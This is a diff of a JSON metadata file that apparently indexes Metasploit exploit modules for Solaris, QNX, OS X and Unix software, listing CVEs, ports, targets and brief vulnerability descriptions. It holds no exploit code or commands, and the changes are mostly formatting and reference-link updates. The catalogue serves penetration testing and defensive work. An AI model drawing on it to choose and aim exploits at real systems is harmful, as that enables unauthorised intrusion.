"exploit_osx/samba/trans2open": { "name": "Samba trans2open Overflow (Mac OS X PPC)", "fullname": "exploit/osx/samba/trans2open", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-04-07", "type": "exploit", @@ -126360,17 +112545,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_qnx/local/ifwatchd_priv_esc": { "name": "ifwatchd Privilege Escalation", "fullname": "exploit/qnx/local/ifwatchd_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-03-10", "type": "exploit", @@ -126389,12 +112571,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -126412,25 +112590,19 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_qnx/qconn/qconn_exec": { "name": "QNX qconn Command Execution", "fullname": "exploit/qnx/qconn/qconn_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-09-04", "type": "exploit", @@ -126449,12 +112621,8 @@ "platform": "Unix", "arch": "cmd", "rport": 8000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -126472,9 +112640,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -126482,9 +112648,7 @@ "exploit_solaris/dtspcd/heap_noir": { "name": "Solaris dtspcd Heap Overflow", "fullname": "exploit/solaris/dtspcd/heap_noir", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2002-07-10", "type": "exploit", @@ -126503,12 +112667,8 @@ "platform": "Solaris", "arch": "sparc", "rport": 6112, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Solaris 8" ], @@ -126519,17 +112679,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_solaris/local/extremeparr_dtappgather_priv_esc": { "name": "Solaris 'EXTREMEPARR' dtappgather Privilege Escalation", "fullname": "exploit/solaris/local/extremeparr_dtappgather_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-04-24", "type": "exploit", @@ -126549,12 +112706,8 @@ "platform": "Solaris,Unix", "arch": "x86, x64, sparc", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -126569,12 +112722,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "EXTREMEPARR" ] @@ -126584,16 +112733,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_solaris/local/libnspr_nspr_log_file_priv_esc": { "name": "Solaris libnspr NSPR_LOG_FILE Privilege Escalation", "fullname": "exploit/solaris/local/libnspr_nspr_log_file_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2006-10-11", "type": "exploit", @@ -126618,12 +112763,8 @@ "platform": "Solaris", "arch": "x86, x64, sparc", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -126634,23 +112775,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_solaris/local/rsh_stack_clash_priv_esc": { "name": "Solaris RSH Stack Clash Privilege Escalation", "fullname": "exploit/solaris/local/rsh_stack_clash_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2017-06-19", "type": "exploit", @@ -126674,12 +112810,8 @@ "platform": "Unix", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Solaris 11.1", @@ -126703,16 +112835,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_solaris/local/xscreensaver_log_priv_esc": { "name": "Solaris xscreensaver log Privilege Escalation", "fullname": "exploit/solaris/local/xscreensaver_log_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-10-16", "type": "exploit", @@ -126732,12 +112860,8 @@ "platform": "Solaris,Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -126752,12 +112876,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "raptor_xscreensaver" ] @@ -126767,16 +112887,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_solaris/lpd/sendmail_exec": { "name": "Solaris LPD Command Execution", "fullname": "exploit/solaris/lpd/sendmail_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2001-08-31", "type": "exploit", @@ -126793,12 +112909,8 @@ "platform": "Solaris,Unix", "arch": "cmd", "rport": 515, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Target" ], @@ -126809,17 +112921,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_solaris/samba/lsa_transnames_heap": { "name": "Samba lsa_io_trans_names Heap Overflow", "fullname": "exploit/solaris/samba/lsa_transnames_heap", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-05-14", "type": "exploit", @@ -126856,17 +112965,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_solaris/samba/trans2open": { "name": "Samba trans2open Overflow (Solaris SPARC)", "fullname": "exploit/solaris/samba/trans2open", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-04-07", "type": "exploit", @@ -126903,17 +113009,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_solaris/ssh/pam_username_bof": { "name": "Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow", "fullname": "exploit/solaris/ssh/pam_username_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-10-20", "type": "exploit", @@ -126935,12 +113038,8 @@ "platform": "Unix", "arch": "cmd", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VMware", "SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VirtualBox" @@ -126970,9 +113069,7 @@ "exploit_solaris/sunrpc/sadmind_adm_build_path": { "name": "Sun Solaris sadmind adm_build_path() Buffer Overflow", "fullname": "exploit/solaris/sunrpc/sadmind_adm_build_path", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-10-14", "type": "exploit", @@ -126989,12 +113086,8 @@ "platform": "Solaris", "arch": "x86", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Sun Solaris 9 x86 Brute Force", "Sun Solaris 9 x86", @@ -127007,17 +113100,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_solaris/sunrpc/sadmind_exec": { "name": "Solaris sadmind Command Execution", "fullname": "exploit/solaris/sunrpc/sadmind_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2003-09-13", "type": "exploit", @@ -127036,12 +113126,8 @@ "platform": "Solaris,Unix", "arch": "cmd", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -127052,17 +113138,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_solaris/sunrpc/ypupdated_exec": { "name": "Solaris ypupdated Command Execution", "fullname": "exploit/solaris/sunrpc/ypupdated_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1994-12-12", "type": "exploit", @@ -127078,12 +113161,8 @@ "platform": "Solaris,Unix", "arch": "cmd", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -127094,17 +113173,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_solaris/telnet/fuser": { "name": "Sun Solaris Telnet Remote Authentication Bypass Vulnerability", "fullname": "exploit/solaris/telnet/fuser", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-02-12", "type": "exploit", @@ -127120,12 +113196,8 @@ "platform": "Solaris,Unix", "arch": "cmd", "rport": 23, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -127136,17 +113208,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_solaris/telnet/ttyprompt": { "name": "Solaris in.telnetd TTYPROMPT Buffer Overflow", "fullname": "exploit/solaris/telnet/ttyprompt", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2002-01-18", "type": "exploit", @@ -127163,12 +113232,8 @@ "platform": "Solaris,Unix", "arch": "cmd", "rport": 23, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -127179,17 +113244,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/dhcp/bash_environment": { "name": "Dhclient Bash Environment Variable Injection (Shellshock)", "fullname": "exploit/unix/dhcp/bash_environment", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-09-24", "type": "exploit", @@ -127210,12 +113272,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Target" ], @@ -127230,12 +113288,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "Shellshock" ] @@ -127246,9 +113300,7 @@ "exploit_unix/dhcp/rhel_dhcp_client_command_injection": { "name": "DHCP Client Command Injection (DynoRoot)", "fullname": "exploit/unix/dhcp/rhel_dhcp_client_command_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-05-15", "type": "exploit", @@ -127270,12 +113322,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Target" ], @@ -127290,12 +113338,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "DynoRoot" ] @@ -127306,9 +113350,7 @@ "exploit_unix/fileformat/exiftool_djvu_ant_perl_injection": { "name": "ExifTool DjVu ANT Perl injection", "fullname": "exploit/unix/fileformat/exiftool_djvu_ant_perl_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-05-24", "type": "exploit", @@ -127326,12 +113368,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "JPEG file", "TIFF file", @@ -127361,9 +113399,7 @@ "exploit_unix/fileformat/ghostscript_type_confusion": { "name": "Ghostscript Type Confusion Arbitrary Command Execution", "fullname": "exploit/unix/fileformat/ghostscript_type_confusion", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-04-27", "type": "exploit", @@ -127376,22 +113412,18 @@ "CVE-2017-8291", "URL-https://bugs.ghostscript.com/show_bug.cgi?id=697808", "URL-https://seclists.org/oss-sec/2017/q2/148", - "URL-https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d", - "URL-https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3" + "URL-http://web.archive.org/web/20240723023227/https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d", + "URL-http://web.archive.org/web/20240703041152/https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3" ], "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "EPS file" ], - "mod_time": "2023-03-13 10:31:27 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/unix/fileformat/ghostscript_type_confusion.rb", "is_install_path": true, "ref_name": "unix/fileformat/ghostscript_type_confusion", @@ -127402,12 +113434,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "ghostbutt" ], @@ -127422,9 +113450,7 @@ "exploit_unix/fileformat/imagemagick_delegate": { "name": "ImageMagick Delegate Arbitrary Command Execution", "fullname": "exploit/unix/fileformat/imagemagick_delegate", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-05-03", "type": "exploit", @@ -127449,12 +113475,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SVG file", "MVG file", @@ -127471,12 +113493,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "ImageTragick" ], @@ -127491,9 +113509,7 @@ "exploit_unix/fileformat/metasploit_libnotify_cmd_injection": { "name": "Metasploit Libnotify Plugin Arbitrary Command Execution", "fullname": "exploit/unix/fileformat/metasploit_libnotify_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-03-04", "type": "exploit", @@ -127508,12 +113524,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -127541,9 +113553,7 @@ "exploit_unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection": { "name": "Rapid7 Metasploit Framework msfvenom APK Template Command Injection", "fullname": "exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-29", "type": "exploit", @@ -127558,12 +113568,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -127591,9 +113597,7 @@ "exploit_unix/ftp/proftpd_133c_backdoor": { "name": "ProFTPD-1.3.3c Backdoor Command Execution", "fullname": "exploit/unix/ftp/proftpd_133c_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-12-02", "type": "exploit", @@ -127626,17 +113630,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/ftp/proftpd_modcopy_exec": { "name": "ProFTPD 1.3.5 Mod_Copy Command Execution", "fullname": "exploit/unix/ftp/proftpd_modcopy_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-04-22", "type": "exploit", @@ -127696,9 +113697,7 @@ "exploit_unix/ftp/vsftpd_234_backdoor": { "name": "VSFTPD v2.3.4 Backdoor Command Execution", "fullname": "exploit/unix/ftp/vsftpd_234_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-07-03", "type": "exploit", @@ -127715,12 +113714,8 @@ "platform": "Unix", "arch": "cmd", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -127731,17 +113726,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/cacti_filter_sqli_rce": { "name": "Cacti color filter authenticated SQLi to RCE", "fullname": "exploit/unix/http/cacti_filter_sqli_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-06-17", "type": "exploit", @@ -127802,9 +113794,7 @@ "exploit_unix/http/contentkeeperweb_mimencode": { "name": "ContentKeeper Web Remote Command Execution", "fullname": "exploit/unix/http/contentkeeperweb_mimencode", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-02-25", "type": "exploit", @@ -127820,12 +113810,8 @@ "platform": "Unix", "arch": "cmd", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -127836,17 +113822,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/ctek_skyrouter": { "name": "CTEK SkyRouter 4200 and 4300 Command Execution", "fullname": "exploit/unix/http/ctek_skyrouter", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-09-08", "type": "exploit", @@ -127886,17 +113869,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/dell_kace_k1000_upload": { "name": "Dell KACE K1000 File Upload", "fullname": "exploit/unix/http/dell_kace_k1000_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-03-07", "type": "exploit", @@ -127936,17 +113916,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/epmp1000_get_chart_cmd_shell": { "name": "Cambium ePMP1000 'get_chart' Shell via Command Injection (v3.1-3.5-RC7)", "fullname": "exploit/unix/http/epmp1000_get_chart_cmd_shell", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-12-18", "type": "exploit", @@ -127986,17 +113963,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/epmp1000_ping_cmd_shell": { "name": "Cambium ePMP1000 'ping' Shell via Command Injection (up to v2.5)", "fullname": "exploit/unix/http/epmp1000_ping_cmd_shell", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-11-28", "type": "exploit", @@ -128037,17 +114011,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/freepbx_callmenum": { "name": "FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution", "fullname": "exploit/unix/http/freepbx_callmenum", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2012-03-20", "type": "exploit", @@ -128089,17 +114060,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/laravel_token_unserialize_exec": { "name": "PHP Laravel Framework token Unserialize Remote Command Execution", "fullname": "exploit/unix/http/laravel_token_unserialize_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-08-07", "type": "exploit", @@ -128143,17 +114111,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/lifesize_room": { "name": "LifeSize Room Command Injection", "fullname": "exploit/unix/http/lifesize_room", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-07-13", "type": "exploit", @@ -128207,9 +114172,7 @@ "exploit_unix/http/maltrail_rce": { "name": "Maltrail Unauthenticated Command Injection", "fullname": "exploit/unix/http/maltrail_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-07-31", "type": "exploit", @@ -128259,9 +114222,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -128269,9 +114230,7 @@ "exploit_unix/http/pfsense_clickjacking": { "name": "Clickjacking Vulnerability In CSRF Error Page pfSense", "fullname": "exploit/unix/http/pfsense_clickjacking", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-11-21", "type": "exploit", @@ -128287,12 +114246,8 @@ "platform": "PHP", "arch": "php", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "pfSense <= 2.4.1" ], @@ -128303,17 +114258,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/pfsense_config_data_exec": { "name": "pfSense Restore RRD Data Command Injection", "fullname": "exploit/unix/http/pfsense_config_data_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-03-18", "type": "exploit", @@ -128372,9 +114324,7 @@ "exploit_unix/http/pfsense_diag_routes_webshell": { "name": "pfSense Diag Routes Web Shell Upload", "fullname": "exploit/unix/http/pfsense_diag_routes_webshell", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-02-23", "type": "exploit", @@ -128434,9 +114384,7 @@ "exploit_unix/http/pfsense_graph_injection_exec": { "name": "pfSense authenticated graph status RCE", "fullname": "exploit/unix/http/pfsense_graph_injection_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-04-18", "type": "exploit", @@ -128479,17 +114427,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/http/pfsense_group_member_exec": { "name": "pfSense authenticated group member RCE", "fullname": "exploit/unix/http/pfsense_group_member_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-11-06", "type": "exploit", @@ -128530,17 +114475,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/pfsense_pfblockerng_webshell": { "name": "pfSense plugin pfBlockerNG unauthenticated RCE as root", "fullname": "exploit/unix/http/pfsense_pfblockerng_webshell", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2022-09-05", "type": "exploit", @@ -128601,9 +114543,7 @@ "exploit_unix/http/pihole_blocklist_exec": { "name": "Pi-Hole heisenbergCompensator Blocklist OS Command Execution", "fullname": "exploit/unix/http/pihole_blocklist_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-05-10", "type": "exploit", @@ -128665,9 +114605,7 @@ "exploit_unix/http/pihole_dhcp_mac_exec": { "name": "Pi-Hole DHCP MAC OS Command Execution", "fullname": "exploit/unix/http/pihole_dhcp_mac_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2020-03-28", "type": "exploit", @@ -128677,7 +114615,7 @@ ], "description": "This exploits a command execution in Pi-Hole <= 4.3.2. A new DHCP static lease is added\n with a MAC address which includes an RCE. Exploitation requires /opt/pihole to be first\n in the $PATH due to exploitation constraints. DHCP server is not required to be running.", "references": [ - "URL-https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/", + "URL-http://web.archive.org/web/20230521153651/https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/", "CVE-2020-8816" ], "platform": "Unix", @@ -128701,7 +114639,7 @@ "targets": [ "Automatic Target" ], - "mod_time": "2022-10-03 19:50:04 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/unix/http/pihole_dhcp_mac_exec.rb", "is_install_path": true, "ref_name": "unix/http/pihole_dhcp_mac_exec", @@ -128728,9 +114666,7 @@ "exploit_unix/http/pihole_whitelist_exec": { "name": "Pi-Hole Whitelist OS Command Execution", "fullname": "exploit/unix/http/pihole_whitelist_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-04-15", "type": "exploit", @@ -128787,9 +114723,7 @@ "exploit_unix/http/quest_kace_systems_management_rce": { "name": "Quest KACE Systems Management Command Injection", "fullname": "exploit/unix/http/quest_kace_systems_management_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-05-31", "type": "exploit", @@ -128801,7 +114735,7 @@ "description": "This module exploits a command injection vulnerability in Quest KACE\n Systems Management Appliance version 8.0.318 (and possibly prior).\n\n The `download_agent_installer.php` file allows unauthenticated users\n to execute arbitrary commands as the web server user `www`.\n\n A valid Organization ID is required. The default value is `1`.\n\n A valid Windows agent version number must also be provided. If file\n sharing is enabled, the agent versions are available within the\n `\\kace.local\\client\\agent_provisioning\\windows_platform` Samba share.\n Additionally, various agent versions are listed on the KACE website.\n\n This module has been tested successfully on Quest KACE Systems\n Management Appliance K1000 version 8.0 (Build 8.0.318).", "references": [ "CVE-2018-11138", - "URL-https://support.quest.com/product-notification/noti-00000134", + "URL-http://web.archive.org/web/20210508161500/https://support.quest.com/product-notification/noti-00000134", "URL-https://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities" ], "platform": "Unix", @@ -128825,24 +114759,21 @@ "targets": [ "Automatic" ], - "mod_time": "2021-02-17 12:33:59 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/unix/http/quest_kace_systems_management_rce.rb", "is_install_path": true, "ref_name": "unix/http/quest_kace_systems_management_rce", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/http/raspap_rce": { "name": "RaspAP Unauthenticated Command Injection", "fullname": "exploit/unix/http/raspap_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-07-31", "type": "exploit", @@ -128892,9 +114823,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -128902,9 +114831,7 @@ "exploit_unix/http/schneider_electric_net55xx_encoder": { "name": "Schneider Electric Pelco Endura NET55XX Encoder", "fullname": "exploit/unix/http/schneider_electric_net55xx_encoder", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-01-25", "type": "exploit", @@ -128945,17 +114872,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/splunk_xslt_authenticated_rce": { "name": "Splunk Authenticated XSLT Upload RCE", "fullname": "exploit/unix/http/splunk_xslt_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-11-28", "type": "exploit", @@ -129017,9 +114941,7 @@ "exploit_unix/http/syncovery_linux_rce_2022_36534": { "name": "Syncovery For Linux Web-GUI Authenticated Remote Command Execution", "fullname": "exploit/unix/http/syncovery_linux_rce_2022_36534", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-09-06", "type": "exploit", @@ -129066,9 +114988,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": true @@ -129076,9 +114996,7 @@ "exploit_unix/http/tnftp_savefile": { "name": "tnftp \"savefile\" Arbitrary Command Execution", "fullname": "exploit/unix/http/tnftp_savefile", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-10-28", "type": "exploit", @@ -129094,12 +115012,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ftp(1)" ], @@ -129110,17 +115024,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/twiki_debug_plugins": { "name": "TWiki Debugenableplugins Remote Code Execution", "fullname": "exploit/unix/http/twiki_debug_plugins", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-10-09", "type": "exploit", @@ -129162,17 +115073,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/http/vmturbo_vmtadmin_exec_noauth": { 